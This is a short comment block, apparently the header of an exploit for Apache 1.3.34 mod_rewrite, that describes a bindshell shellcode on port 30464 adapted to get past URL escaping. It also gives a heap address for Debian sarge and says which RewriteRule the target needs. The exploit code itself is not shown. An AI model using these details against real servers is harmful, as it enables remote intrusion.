# Thx to xuso for help me with the shellcode.

#

# I suppose that you've the "RewriteRule kung/(.*) $1" rule if not

# you must recalculate adressess.

#

# Shellcode is based on Taeho Oh bindshell on port 30464 and modified

# for avoiding apache url-escape.. Take a look is quite nice ;)

#

# Shellcode address in heap memory on apache 1.3.34 (debian sarge) is at

# 0x0834ae77 for any other version/system find it.
